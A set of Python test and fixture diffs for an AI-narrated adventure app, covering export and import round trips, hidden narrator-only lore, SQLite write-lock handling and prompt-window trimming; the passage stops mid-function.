SECRET_SENTINEL = "ZARQUON-CONCEALED-OBSERVER-7731"
|
||||
|
||||
SECRET_MD = f"""# What nobody in the room knows
|
||||
|
||||
There is a concealed observer behind the north wall of the office, watching the
|
||||
meeting through a gap in the panelling. Their code name is {SECRET_SENTINEL}.
|
||||
|
||||
Nobody present is aware of this.
|
||||
"""
|
||||
|
||||
#: A source that is *not* hidden, so a test can show the packet excludes
|
||||
#: imported knowledge as a class rather than only excluding secrets.
|
||||
HANDBOOK_MD = """# Office handbook
|
||||
|
||||
The building was refurbished in the spring. The north wall panelling is new.
|
||||
"""
|
||||
|
||||
|
||||
def play(client, adv_id, text, events, prose="The meeting continues."):
|
||||
ScriptedProvider.replies = [f"{prose}\n" + state_block(events)]
|
||||
response = client.post(
|
||||
f"/api/adventures/{adv_id}/actions", json={"type": "do", "text": text}
|
||||
)
|
||||
assert response.status_code == 200, response.text[:400]
|
||||
return response
|
||||
|
||||
|
||||
def entity(key, kind, name):
|
||||
return {"type": "create_entity", "entity": key, "entity_type": kind,
|
||||
"name": name}
|
||||
|
||||
|
||||
def build(client, adv_id) -> dict:
|
||||
"""Plays the office campaign and returns what a test needs to check it.
|
||||
|
||||
Leaves the campaign with a scene set at the active head, two visual
|
||||
profiles, one character deliberately unprofiled, and one character
|
||||
deliberately not present.
|
||||
"""
|
||||
play(client, adv_id, "arrive at the office", [
|
||||
entity("bill", "character", "Bill"),
|
||||
entity("alice", "character", "Alice"),
|
||||
entity("roger", "character", "Roger"),
|
||||
entity("john", "character", "John"),
|
||||
entity("office", "location", "The office"),
|
||||
entity("server_room", "location", "The server room"),
|
||||
entity("badge", "item", "Security badge"),
|
||||
])
|
||||
play(client, adv_id, "start the meeting", [
|
||||
{"type": "set_possession", "item": "badge", "owner": "bill"},
|
||||
{"type": "set_scene",
|
||||
"summary": "Bill, Alice and Roger meet around the table.",
|
||||
"location": "office",
|
||||
"present": ["bill", "alice", "roger"]},
|
||||
])
|
||||
|
||||
profiles = {
|
||||
"alice": {
|
||||
"descriptors": {"build": "tall", "hair": "short black",
|
||||
"clothing": "grey blazer"},
|
||||
"features": ["tortoiseshell glasses"],
|
||||
"style_notes": "photographic, natural light",
|
||||
},
|
||||
"office": {
|
||||
"descriptors": {"architecture": "open-plan floor",
|
||||
"lighting": "flat fluorescent"},
|
||||
"features": ["whiteboard covered in diagrams"],
|
||||
"style_notes": "",
|
||||
},
|
||||
}
|
||||
for key, profile in profiles.items():
|
||||
response = client.put(
|
||||
f"/api/adventures/{adv_id}/visual-profiles/{key}", json=profile
|
||||
)
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
return {"profiles": profiles}
|
||||
|
||||
|
||||
def upload_secret(client, adv_id) -> int:
|
||||
"""Imports the narrator-only source the hidden-information tests use."""
|
||||
return _upload(client, adv_id, "observer.md", SECRET_MD, "canon",
|
||||
visibility="hidden")
|
||||
|
||||
|
||||
def upload_handbook(client, adv_id) -> int:
|
||||
return _upload(client, adv_id, "handbook.md", HANDBOOK_MD, "reference")
|
||||
|
||||
|
||||
def _upload(client, adv_id, name, body, classification, **fields):
|
||||
data = {"classification": classification}
|
||||
data.update({k: str(v).lower() if isinstance(v, bool) else str(v)
|
||||
for k, v in fields.items()})
|
||||
response = client.post(
|
||||
f"/api/adventures/{adv_id}/knowledge",
|
||||
files={"file": (name, body.encode("utf-8"), "text/markdown")},
|
||||
data=data,
|
||||
)
|
||||
assert response.status_code == 201, response.text[:400]
|
||||
return response.json()["id"]
|
||||
@@ -0,0 +1,406 @@
|
||||
"""M9: one campaign that exercises every portable data family at once.
|
||||
|
||||
`TEST-CAMPAIGN-FIXTURE.md` describes the standard Continuity Test campaign, and
|
||||
the acceptance suites use it. This is a different thing and does not replace it:
|
||||
the Continuity Test is shaped to read like a story, and this one is shaped to
|
||||
break a round trip. Every property M9 promises has a source in this campaign that
|
||||
would be silently lost by a plausible mistake in the exporter or the importer.
|
||||
|
||||
Opening
|
||||
|
|
||||
+-- normal turns transcript, state events, snapshots
|
||||
+-- Retry two takes at one coordinate
|
||||
+-- knowledge retrieval imported passages in a stored prompt
|
||||
+-- Save Point S1 a named coordinate on the first line
|
||||
+-- more turns a future the reader will leave
|
||||
|
|
||||
+-- Undo x2 the head steps back
|
||||
|
|
||||
+-- divergent continuation a second branch, and a second future
|
||||
+-- Save Point S2 a named coordinate on the second line
|
||||
+-- manual state correction an event nothing narrated
|
||||
+-- Undo x1 the head ends behind the newest row
|
||||
|
||||
The shape is chosen so that no single fact identifies a position. The active head
|
||||
is not the newest row, not the deepest row, not the last row written, and not on
|
||||
the branch that holds the most story — an importer that guesses any one of those
|
||||
lands somewhere else.
|
||||
|
||||
Two campaigns are built, not one. `build` returns the rich campaign; the fixture
|
||||
also leaves a neighbour beside it, because a bundle that accidentally exported
|
||||
another campaign's rows would otherwise export nothing and pass.
|
||||
|
||||
The builder speaks HTTP throughout. A fixture that wrote rows directly would
|
||||
prove the exporter can read what the fixture wrote, which is not the claim.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
|
||||
from app import memorybank
|
||||
|
||||
from fakes import ScriptedProvider, state_block
|
||||
|
||||
# --------------------------------------------------------------- source files
|
||||
# Three imported sources, one per class, plus the two lifecycle states that a
|
||||
# round trip most easily loses: a source someone switched off, and one only the
|
||||
# narrator may see.
|
||||
|
||||
CANON_MD = """# Westhaven
|
||||
|
||||
## The Old Abbey
|
||||
|
||||
The abbey above Westhaven has stood since the founding. Its crypt is sealed,
|
||||
and the seal has never been broken.
|
||||
|
||||
## What cannot happen here
|
||||
|
||||
The dead do not return. No rite, relic or bargain in Westhaven has ever
|
||||
returned anyone from death, and none ever will.
|
||||
"""
|
||||
|
||||
REFERENCE_MD = """# The Crooked Lantern
|
||||
|
||||
The tavern on Fen Street is timber-framed, low-beamed, and older than the
|
||||
street it stands on. The hearth is never allowed to go out.
|
||||
|
||||
## The keeper
|
||||
|
||||
Mara keeps the Crooked Lantern. She was born in Westhaven and has never left
|
||||
it.
|
||||
"""
|
||||
|
||||
INSPIRATION_MD = """# Weather notes
|
||||
|
||||
Rain on shutters. Lantern light through wet glass. The smell of a hearth
|
||||
banked for the night.
|
||||
"""
|
||||
|
||||
SECRET_MD = """# The seal
|
||||
|
||||
The abbey seal was broken once, sixty years ago, and set again by a hand that
|
||||
is still alive. Nobody in Westhaven knows this.
|
||||
"""
|
||||
|
||||
DISABLED_MD = """# Discarded draft
|
||||
|
||||
An earlier draft of the Westhaven material, kept for reference and switched off
|
||||
so it cannot reach the narrator.
|
||||
"""
|
||||
|
||||
#: The campaign's own rule, so the correction and the canon block have something
|
||||
#: real to be measured against.
|
||||
CAMPAIGN_CANON = {"rules": ["The dead do not return."]}
|
||||
|
||||
OPENING = "Aldric sits in the Crooked Lantern with Mara, and the rain starts."
|
||||
|
||||
|
||||
# ------------------------------------------------------------------- helpers
|
||||
|
||||
def _play(client, adv_id, text, prose, events=None, kind="do"):
|
||||
ScriptedProvider.replies = [f"{prose}\n{state_block(events or [])}"]
|
||||
response = client.post(
|
||||
f"/api/adventures/{adv_id}/actions", json={"type": kind, "text": text}
|
||||
)
|
||||
assert response.status_code == 200, response.text[:400]
|
||||
return response
|
||||
|
||||
|
||||
def _fact(predicate, value, fact_id):
|
||||
return {"type": "add_fact", "predicate": predicate, "value": value,
|
||||
"fact_id": fact_id}
|
||||
|
||||
|
||||
def upload(client, adv_id, name, body, classification, **fields):
|
||||
"""Imports a file the way the browser does: multipart, and no pathname."""
|
||||
data = {"classification": classification}
|
||||
data.update({k: str(v).lower() if isinstance(v, bool) else str(v)
|
||||
for k, v in fields.items()})
|
||||
response = client.post(
|
||||
f"/api/adventures/{adv_id}/knowledge",
|
||||
files={"file": (name, body.encode("utf-8"), "text/markdown")},
|
||||
data=data,
|
||||
)
|
||||
assert response.status_code == 201, response.text[:400]
|
||||
return response.json()["id"]
|
||||
|
||||
|
||||
def _checkpoint(client, adv_id, name, note=""):
|
||||
response = client.post(
|
||||
f"/api/adventures/{adv_id}/checkpoints", json={"name": name, "note": note}
|
||||
)
|
||||
assert response.status_code == 201, response.text[:400]
|
||||
return response.json()
|
||||
|
||||
|
||||
def _undo(client, adv_id, times=1):
|
||||
for _ in range(times):
|
||||
response = client.post(f"/api/adventures/{adv_id}/undo")
|
||||
assert response.status_code == 200, response.text[:400]
|
||||
|
||||
|
||||
def settle_derived(adv_id):
|
||||
"""Runs the background memory and summary pass to completion.
|
||||
|
||||
The turn endpoint fires this as a fire-and-forget task, which a test client
|
||||
does not wait for. Calling it directly is the same code on the same rows —
|
||||
what is skipped is the scheduling, not the work — and it is what
|
||||
`test_context_realistic.py` does for the same reason.
|
||||
"""
|
||||
asyncio.run(memorybank.run_post_turn(adv_id))
|
||||
|
||||
|
||||
# --------------------------------------------------------------------- build
|
||||
|
||||
def build(client, adv_id) -> dict:
|
||||
"""Plays the fixture campaign onto `adv_id`, and returns what it built.
|
||||
|
||||
The returned dictionary is the assertion source for every round-trip test:
|
||||
it names the properties that must survive, measured from the campaign as it
|
||||
stands here rather than restated as constants, so a test compares the copy
|
||||
against the original instead of against a guess about the original.
|
||||
"""
|
||||
# Story memory and the rolling summary on, because a campaign that
|
||||
# generated neither would let an exporter omit both and still pass. The
|
||||
# abandoned line below gets long enough to earn its own, which is what E03
|
||||
# is about after a round trip.
|
||||
switched_on = client.patch(
|
||||
f"/api/adventures/{adv_id}",
|
||||
json={"auto_summarize": True, "memory_bank_enabled": True},
|
||||
)
|
||||
assert switched_on.status_code == 200, switched_on.text[:400]
|
||||
|
||||
sources = {
|
||||
"canon": upload(client, adv_id, "canon.md", CANON_MD, "canon",
|
||||
always_include=True),
|
||||
"reference": upload(client, adv_id, "reference.md", REFERENCE_MD,
|
||||
"reference"),
|
||||
"inspiration": upload(client, adv_id, "inspiration.md", INSPIRATION_MD,
|
||||
"inspiration"),
|
||||
"secret": upload(client, adv_id, "secret.md", SECRET_MD, "canon",
|
||||
visibility="hidden"),
|
||||
"disabled": upload(client, adv_id, "draft.md", DISABLED_MD, "reference"),
|
||||
}
|
||||
disable = client.patch(
|
||||
f"/api/adventures/{adv_id}/knowledge/{sources['disabled']}",
|
||||
json={"enabled": False},
|
||||
)
|
||||
assert disable.status_code == 200, disable.text[:400]
|
||||
|
||||
# ---- the first line of story -----------------------------------------
|
||||
# Turn 1 asks about the abbey, so the canon source is retrieved and the
|
||||
# stored prompt for this turn holds an imported passage. That turn is the
|
||||
# one the provenance tests read back after the round trip.
|
||||
_play(client, adv_id, "ask Mara about the abbey",
|
||||
"Mara sets down the cloth. The abbey, she says, is sealed.",
|
||||
[_fact("tally", 10, "tally-10")])
|
||||
_play(client, adv_id, "walk up to the abbey",
|
||||
"The path climbs out of the town and the rain follows.",
|
||||
[_fact("tally", 20, "tally-20")])
|
||||
|
||||
# A retry, so one coordinate holds two takes and the earlier one is
|
||||
# retained but not selected.
|
||||
ScriptedProvider.replies = [
|
||||
"The door is oak, and the seal on it is unbroken.\n"
|
||||
+ state_block([_fact("tally", 30, "tally-30")])
|
||||
]
|
||||
_play(client, adv_id, "try the crypt door",
|
||||
"The door will not move.", [_fact("tally", 30, "tally-30")])
|
||||
retry = client.post(f"/api/adventures/{adv_id}/retry")
|
||||
assert retry.status_code == 200, retry.text[:400]
|
||||
|
||||
s1 = _checkpoint(client, adv_id, "At the crypt door",
|
||||
"Before anything is decided.")
|
||||
|
||||
# The future the reader is about to leave behind. It is played out far
|
||||
# enough to earn derived data of its own — `memorybank.MEMORY_INTERVAL` is
|
||||
# six actions — because a summary and a memory belonging to an abandoned
|
||||
# line are what E03 forbids reaching an active prompt, and a round trip is
|
||||
# a new way to leak one.
|
||||
_play(client, adv_id, "force the door",
|
||||
"The seal gives, and the stair below is dark.",
|
||||
[_fact("tally", 40, "tally-40")])
|
||||
_play(client, adv_id, "go down",
|
||||
"The crypt is dry, and the air has not moved in years.",
|
||||
[_fact("tally", 50, "tally-50")])
|
||||
_play(client, adv_id, "read the names on the slabs",
|
||||
"Sixty years of Westhaven dead, and one slab with no name at all.",
|
||||
[_fact("tally", 60, "tally-60")])
|
||||
_play(client, adv_id, "touch the nameless slab",
|
||||
"The stone is warm, which stone in a crypt is not.",
|
||||
[_fact("tally", 70, "tally-70")])
|
||||
|
||||
# Derived data for the line that is about to be abandoned, written while
|
||||
# the head is still on it. This is the summary and the memory that must
|
||||
# come back after a round trip and must still be ineligible there.
|
||||
settle_derived(adv_id)
|
||||
tip_state = client.get(f"/api/adventures/{adv_id}/state").json()
|
||||
|
||||
# ---- step back, and go somewhere else ---------------------------------
|
||||
_undo(client, adv_id, 4)
|
||||
_play(client, adv_id, "turn back and return to the tavern",
|
||||
"The rain has not let up, and the Lantern's windows are lit.",
|
||||
[_fact("tally", 41, "tally-41")])
|
||||
s2 = _checkpoint(client, adv_id, "Back at the Lantern", "The other way.")
|
||||
_play(client, adv_id, "ask Mara what she is not saying",
|
||||
"She looks at the fire for a while before she answers.",
|
||||
[_fact("tally", 51, "tally-51")])
|
||||
_play(client, adv_id, "wait",
|
||||
"The rain fills the silence, and then she starts talking.",
|
||||
[_fact("tally", 61, "tally-61")])
|
||||
|
||||
# A manual correction: an accepted state change with no narration behind
|
||||
# it, which is the one kind of state event a replay could never recreate.
|
||||
correction = client.post(
|
||||
f"/api/adventures/{adv_id}/state/corrections",
|
||||
json={
|
||||
"events": [{
|
||||
"type": "add_fact",
|
||||
"predicate": "keeper_of_the_lantern",
|
||||
"value": "Mara",
|
||||
"fact_id": "keeper",
|
||||
}],
|
||||
"note": "Established in play before the state system saw it.",
|
||||
},
|
||||
)
|
||||
assert correction.status_code == 201, correction.text[:400]
|
||||
|
||||
# Derived data for the line the reader stayed on, so the copy has both an
|
||||
# eligible and an ineligible summary to tell apart. The generated one landed
|
||||
# on the abandoned line, which is the E03 case; this one is typed at the
|
||||
# current head, so it is the eligible case beside it. A round trip has to
|
||||
# keep them on opposite sides of that line.
|
||||
settle_derived(adv_id)
|
||||
|
||||
# One more Undo, so the head finishes behind the retained tip of its own
|
||||
# branch as well as behind the abandoned line's.
|
||||
_undo(client, adv_id, 1)
|
||||
|
||||
# Typed at the final head, so it is the eligible summary and the generated
|
||||
# one on the abandoned line is not. A round trip has to keep them on
|
||||
# opposite sides of that line.
|
||||
typed = client.patch(
|
||||
f"/api/adventures/{adv_id}",
|
||||
json={"story_summary": "Aldric went back to the Lantern instead."},
|
||||
)
|
||||
assert typed.status_code == 200, typed.text[:400]
|
||||
|
||||
return snapshot_of(client, adv_id, sources=sources, s1=s1, s2=s2,
|
||||
tip_state=tip_state)
|
||||
|
||||
|
||||
def snapshot_in(action: dict) -> dict | None:
|
||||
"""The stored prompt in one bundle entry, decoded.
|
||||
|
||||
The export compresses it (`bundle._packed`), so a test that reached for a
|
||||
plain dict would conclude the evidence was missing when it is merely
|
||||
encoded. Both keys are read, plain first, exactly as the importer does.
|
||||
"""
|
||||
from app import bundle
|
||||
|
||||
plain = action.get("contextSnapshot")
|
||||
if isinstance(plain, dict):
|
||||
return plain
|
||||
return bundle._unpacked(action.get("contextSnapshotZ"))
|
||||
|
||||
|
||||
def with_snapshot(action: dict, snapshot: dict | None) -> dict:
|
||||
"""A bundle entry carrying `snapshot`, written in the plain form.
|
||||
|
||||
Tests that break a snapshot on purpose write the readable key, because the
|
||||
importer prefers it and because a test that had to compress its own fixture
|
||||
would be testing the encoding rather than the thing it edited.
|
||||
"""
|
||||
edited = {k: v for k, v in action.items() if k != "contextSnapshotZ"}
|
||||
if snapshot is None:
|
||||
edited.pop("contextSnapshot", None)
|
||||
else:
|
||||
edited["contextSnapshot"] = snapshot
|
||||
return edited
|
||||
|
||||
|
||||
# ------------------------------------------------------------------- reading
|
||||
|
||||
def snapshot_of(client, adv_id, *, sources=None, s1=None, s2=None,
|
||||
tip_state=None) -> dict:
|
||||
"""Everything about a campaign that a round trip has to reproduce.
|
||||
|
||||
Read through the API, so the comparison is between what a reader can see in
|
||||
the source campaign and what a reader can see in the copy. Two campaigns
|
||||
that agree here agree on everything the product promises about a restored
|
||||
campaign; nothing below is a database id, because ids are expected to
|
||||
differ.
|
||||
"""
|
||||
head = client.get(f"/api/adventures/{adv_id}").json()
|
||||
branches = client.get(f"/api/adventures/{adv_id}/branches").json()
|
||||
checkpoints = client.get(f"/api/adventures/{adv_id}/checkpoints").json()
|
||||
knowledge = client.get(f"/api/adventures/{adv_id}/knowledge").json()
|
||||
state = client.get(f"/api/adventures/{adv_id}/state").json()
|
||||
events = client.get(f"/api/adventures/{adv_id}/state/events?limit=500").json()
|
||||
memories = client.get(f"/api/adventures/{adv_id}/memories").json()
|
||||
derived = client.get(f"/api/adventures/{adv_id}/derived").json()
|
||||
return {
|
||||
"id": adv_id,
|
||||
"title": head["title"],
|
||||
"canon_rules": head.get("canon_rules") or [],
|
||||
"can_undo": head.get("can_undo"),
|
||||
"can_redo": head.get("can_redo"),
|
||||
"transcript": [(a["type"], a["text"]) for a in head["actions"]],
|
||||
# Every branch's own story, which is the whole retained tree as text.
|
||||
"branch_count": len(branches),
|
||||
"checkpoints": sorted(
|
||||
(c["name"], c["note"]) for c in checkpoints
|
||||
),
|
||||
"knowledge": sorted(
|
||||
(k["title"], k["classification"], k["enabled"], k["visibility"],
|
||||
k["always_include"], k["content_hash"])
|
||||
for k in knowledge
|
||||
),
|
||||
"state": _comparable_state(state),
|
||||
"state_events": sorted(
|
||||
(e["event_type"], e["source"], _payload_key(e["payload"]))
|
||||
for e in events
|
||||
),
|
||||
"memories": sorted(m["text"] for m in memories),
|
||||
"summaries": sorted(
|
||||
(s["preview"], s["trigger"], s["eligible"])
|
||||
for s in derived.get("summaries", [])
|
||||
),
|
||||
# Carried through from `build`, for the tests that need the original
|
||||
# ids or the state at a position the head has since left.
|
||||
"sources": sources,
|
||||
"s1": s1,
|
||||
"s2": s2,
|
||||
"tip_state": _comparable_state(tip_state) if tip_state else None,
|
||||
}
|
||||
|
||||
|
||||
def _comparable_state(state: dict) -> dict:
|
||||
"""The authoritative state, with only what a reader is shown.
|
||||
|
||||
Groups arrive from the API as display sections, which is the right shape to
|
||||
compare: two campaigns whose State panels read identically hold the same
|
||||
state, whatever ids sit underneath.
|
||||
"""
|
||||
groups = state.get("groups") if isinstance(state, dict) else None
|
||||
if not isinstance(groups, list):
|
||||
return {}
|
||||
return {
|
||||
str(group.get("title")): sorted(
|
||||
", ".join(f"{k}={group_row[k]}" for k in sorted(group_row))
|
||||
for group_row in (group.get("rows") or [])
|
||||
if isinstance(group_row, dict)
|
||||
)
|
||||
for group in groups
|
||||
}
|
||||
|
||||
|
||||
def _payload_key(payload) -> str:
|
||||
"""A stable identity for an event payload, for set comparison."""
|
||||
if not isinstance(payload, dict):
|
||||
return str(payload)
|
||||
for key in ("fact_id", "entity_id", "thread_id", "id", "predicate"):
|
||||
if payload.get(key):
|
||||
return f"{key}={payload[key]}"
|
||||
return ",".join(f"{k}={payload[k]}" for k in sorted(payload))
|
||||
@@ -31,6 +31,8 @@ from sqlalchemy.engine import Engine
|
||||
# this case. It skips DDL that already ran, so the tree migrations run their
|
||||
# backfill against a schema that already has the columns.
|
||||
_UNDO: list[tuple[int, tuple[str, ...]]] = [
|
||||
# M11: the campaign's narration-length choice.
|
||||
(93, ("ALTER TABLE adventures DROP COLUMN narration_length",)),
|
||||
# Packed float32 vectors and the flag beside them.
|
||||
(39, ("ALTER TABLE memories DROP COLUMN embedded",)),
|
||||
(38, ("ALTER TABLE memories DROP COLUMN embedding_blob",)),
|
||||
|
||||
@@ -568,10 +568,29 @@ def test_the_action_cap_counts_the_rows_a_v1_file_expands_into(client, monkeypat
|
||||
assert _adventure_count() == before, "and nothing was written"
|
||||
|
||||
|
||||
def test_an_unknown_format_is_refused(client):
|
||||
r = _import(client, {"format": "ai-dnd-adventure-v3", "title": "From the future"})
|
||||
def test_a_format_from_a_later_build_is_refused(client):
|
||||
"""A version this build has never heard of is refused, not guessed at.
|
||||
|
||||
The placeholder version here has to stay ahead of `bundle.FORMAT`. It was
|
||||
`v3` until M9 made v3 real, at which point this test started importing a
|
||||
bundle it meant to reject — the failure mode a hard-coded "next version"
|
||||
always eventually has, and the reason the message is asserted against
|
||||
`bundle.FORMAT` rather than against a literal.
|
||||
"""
|
||||
r = _import(client, {"format": "ai-dnd-adventure-v99", "title": "From the future"})
|
||||
assert r.status_code == 400, r.text
|
||||
assert bundle.FORMAT in r.json()["detail"]
|
||||
detail = r.json()["detail"]
|
||||
assert bundle.FORMAT in detail
|
||||
assert "ai-dnd-adventure-v99" in detail
|
||||
|
||||
|
||||
def test_something_that_is_not_an_export_at_all_is_refused(client):
|
||||
r = _import(client, {"title": "A file of some other kind"})
|
||||
assert r.status_code == 400, r.text
|
||||
# Every version it can read is named, so the reader can tell whether the
|
||||
# file they have is one of them.
|
||||
for readable in bundle.READABLE:
|
||||
assert readable in r.json()["detail"]
|
||||
|
||||
|
||||
# ------------------------------------------------------- the persona (Phase 18)
|
||||
|
||||
@@ -18,6 +18,7 @@ Two things are asserted throughout rather than assumed:
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import sqlite3
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
@@ -26,12 +27,14 @@ from sqlalchemy import select
|
||||
|
||||
from app import auth, derived, limits, memorybank, models, summaries
|
||||
from app.context import builder, lineage
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.database import DB_PATH, Base, SessionLocal, engine, get_db
|
||||
from app.knowledge import classes
|
||||
from app.main import app
|
||||
from app.providers import ProviderError
|
||||
from app.routers import adventures
|
||||
|
||||
from fakes import ScriptedProvider, state_block
|
||||
from tools import m11_long_run
|
||||
|
||||
|
||||
class StubEmbedder:
|
||||
@@ -835,3 +838,120 @@ def test_e03_a_summary_generated_after_divergence_carries_no_abandoned_content(c
|
||||
assert old[0]["eligible"] is False
|
||||
finally:
|
||||
mb.summary_provider, mb.embedding_provider = real_summary, real_embed
|
||||
|
||||
|
||||
# ------------------------------------------- M11: post-turn work and the write lock
|
||||
#
|
||||
# Found by the first 26-turn M01 trial on a GPU host. Every turn was accepted,
|
||||
# and the run reported "complete" with two memories, no summary and 180
|
||||
# `database is locked` errors. A turn that used a memory wrote its use counter
|
||||
# before the model call and committed only after the reply. That held SQLite's
|
||||
# single write lock for the whole reply. Post-turn memory and summary writes
|
||||
# timed out behind it, and the record of each failure timed out the same way.
|
||||
|
||||
|
||||
class LockProbe(ScriptedProvider):
|
||||
"""A narrator that checks, mid-reply, whether any other writer could get in."""
|
||||
|
||||
seen: list = []
|
||||
|
||||
async def generate(self, parts, *, temperature, max_tokens):
|
||||
# Its own connection, as a post-turn task's session would have. The
|
||||
# short timeout turns "would wait five seconds and fail" into an
|
||||
# immediate answer.
|
||||
probe = sqlite3.connect(DB_PATH, timeout=0.1)
|
||||
try:
|
||||
probe.execute("BEGIN IMMEDIATE")
|
||||
probe.rollback()
|
||||
LockProbe.seen.append("free")
|
||||
except sqlite3.OperationalError as exc:
|
||||
LockProbe.seen.append(str(exc))
|
||||
finally:
|
||||
probe.close()
|
||||
async for item in super().generate(parts, temperature=temperature,
|
||||
max_tokens=max_tokens):
|
||||
yield item
|
||||
|
||||
|
||||
def test_no_write_lock_is_held_while_the_narrator_is_talking(client, monkeypatch):
|
||||
play(client, "begin", prose="Aldric sets the key down.")
|
||||
memory_id = plant_memory(client, "Aldric hid the ledger beneath the third flagstone.")
|
||||
LockProbe.seen = []
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", LockProbe)
|
||||
|
||||
play(client, "I lift the flagstone and look for the ledger.")
|
||||
|
||||
with SessionLocal() as db:
|
||||
# The premise. A turn that retrieved no memory never took the lock, so
|
||||
# the probe below would pass for the wrong reason.
|
||||
assert db.get(models.Memory, memory_id).use_count == 1, (
|
||||
"the turn did not use the planted memory, so this proves nothing")
|
||||
assert LockProbe.seen == ["free"], (
|
||||
"a write transaction was open during the model call, so every "
|
||||
f"post-turn write in that window is locked out: {LockProbe.seen}")
|
||||
|
||||
|
||||
def test_a_failed_turn_counts_no_memory_as_used(client, monkeypatch):
|
||||
"""The counter is written with the turn now, so a turn that never landed
|
||||
used nothing."""
|
||||
play(client, "begin", prose="Aldric sets the key down.")
|
||||
memory_id = plant_memory(client, "Aldric hid the ledger beneath the third flagstone.")
|
||||
ScriptedProvider.replies = [ProviderError("the narrator is gone")]
|
||||
r = client.post(f"/api/adventures/{client.adv_id}/actions",
|
||||
json={"type": "do", "text": "I look for the ledger."})
|
||||
assert '"error"' in r.text
|
||||
|
||||
with SessionLocal() as db:
|
||||
assert db.get(models.Memory, memory_id).use_count == 0
|
||||
|
||||
|
||||
def test_a_failure_that_breaks_the_session_is_still_recorded(client, monkeypatch):
|
||||
"""Recording a failure needs a working session. Without a rollback first,
|
||||
the recorder raised `PendingRollbackError`, the failure went only to the
|
||||
log, and derived status kept reporting a healthy bank."""
|
||||
play(client, "begin", prose="Aldric sets the key down.")
|
||||
existing = plant_memory(client, "Aldric hid the ledger beneath the third flagstone.")
|
||||
|
||||
def collide(adventure, settings, db):
|
||||
# A primary key that already exists: the flush fails and leaves the
|
||||
# session needing a rollback, which is the state a lock timeout on
|
||||
# commit leaves it in.
|
||||
db.add(models.Memory(id=existing, adventure_id=client.adv_id,
|
||||
text="a second row with the same key"))
|
||||
db.flush()
|
||||
|
||||
monkeypatch.setattr(memorybank, "_evict_over_capacity", collide)
|
||||
asyncio.run(memorybank.run_post_turn(client.adv_id))
|
||||
|
||||
with SessionLocal() as db:
|
||||
rows = {row["kind"]: row for row in derived.report(db, client.adv_id)}
|
||||
assert rows[derived.MEMORY]["status"] == "failed", rows.get(derived.MEMORY)
|
||||
assert "PendingRollbackError" not in rows[derived.MEMORY]["detail"]
|
||||
|
||||
|
||||
def test_the_long_run_harness_reads_sections_by_their_real_names(client):
|
||||
"""`tools/m11_long_run.py` finds prompt sections by label, and a wrong label
|
||||
is silent: it measured 0 memory tokens and could never find the clue in
|
||||
history or in memories. These are the names the real builder uses."""
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, client.adv_id)
|
||||
adventure.authors_note = "Keep the rain in every scene."
|
||||
db.commit()
|
||||
play(client, "begin", prose="Aldric sets the key down.",
|
||||
events=[{"type": "create_entity", "entity": "aldric",
|
||||
"entity_type": "character", "name": "Aldric"}])
|
||||
for step in range(6):
|
||||
play(client, f"walk on {step}")
|
||||
plant_memory(client, "Aldric hid the ledger beneath the third flagstone.")
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, client.adv_id)
|
||||
summaries.record(db, adventure, "The party reached the Crooked Lantern.")
|
||||
db.commit()
|
||||
play(client, "I look for the ledger.")
|
||||
|
||||
labels = {s["label"] for s in context_report(client)["sections"]}
|
||||
for label in (m11_long_run.MEMORIES_LABEL, m11_long_run.SUMMARY_LABEL,
|
||||
m11_long_run.STATE_LABEL, *m11_long_run.HISTORY_LABELS):
|
||||
assert label in labels, f"the harness reads {label!r}; the prompt has {sorted(labels)}"
|
||||
assert set(m11_long_run.IMPORTED_KNOWLEDGE_LABELS) == {
|
||||
classes.SECTION_ALWAYS_CANON, *classes.CLASS_SECTIONS.values()}
|
||||
|
||||
@@ -138,7 +138,7 @@ def test_retrieval_uses_no_stale_vector_after_the_switch(client, monkeypatch):
|
||||
adventure = db.get(models.Adventure, client.adv_id)
|
||||
settings = db.query(models.Settings).first()
|
||||
result = asyncio.run(
|
||||
memorybank.retrieve_memories(adventure, settings, update_stats=False)
|
||||
memorybank.retrieve_memories(adventure, settings)
|
||||
)
|
||||
assert result["used"] == []
|
||||
finally:
|
||||
|
||||
@@ -0,0 +1,315 @@
|
||||
"""The history window moves in blocks, so the prompt's prefix holds still.
|
||||
|
||||
Inference servers cache a prompt by its **prefix**. While a story only grows at
|
||||
the end, every turn re-uses that cache and pays for its own new tokens alone. The
|
||||
builder's old window took whatever fit, which meant that once the budget was full
|
||||
it dropped the *oldest* action every turn — a change near the front of the prompt
|
||||
— and everything after it had to be processed again.
|
||||
|
||||
Measured on the reference deployment, at 7.7k prompt tokens against a 3B model:
|
||||
|
||||
window slid by one turn 343-350 s
|
||||
prefix preserved 6.0 s
|
||||
|
||||
These tests do not measure time. They pin the property the measurement is
|
||||
downstream of: **the oldest included action is the same across consecutive
|
||||
turns**, except on the turns where the window deliberately steps.
|
||||
"""
|
||||
import pytest
|
||||
import pytest as _pytest
|
||||
|
||||
from app.context import builder
|
||||
|
||||
|
||||
def costs_of(n, each=100):
|
||||
return [each] * n
|
||||
|
||||
|
||||
def depths(n, start=1):
|
||||
return list(range(start, start + n))
|
||||
|
||||
|
||||
# ------------------------------------------------------------- the block size
|
||||
|
||||
def test_the_block_is_a_share_of_what_fits():
|
||||
"""Derived from `TRIM_FRACTION` rather than asserting the number it is
|
||||
currently set to, so retuning the dial does not fail a test that was never
|
||||
about the dial's value."""
|
||||
# 16 actions of 500 fit in 8,000, and the block is that share of them.
|
||||
assert builder.trim_block(8000, 500) == 16 // builder.TRIM_FRACTION
|
||||
|
||||
|
||||
def test_trim_fraction_is_the_dial_between_history_and_speed():
|
||||
"""`TRIM_FRACTION` is meant to be retuned, so this pins what retuning does.
|
||||
|
||||
Lower it and the window gives up more at once: bigger blocks, fewer re-reads,
|
||||
less recent history retained. Raise it and the reverse. Nothing else in the
|
||||
builder has to change for that to hold, which is the property worth having a
|
||||
test for.
|
||||
"""
|
||||
budget, per_action = 8000, 500
|
||||
fits = budget // per_action
|
||||
|
||||
def block_at(fraction, monkeypatch):
|
||||
monkeypatch.setattr(builder, "TRIM_FRACTION", fraction)
|
||||
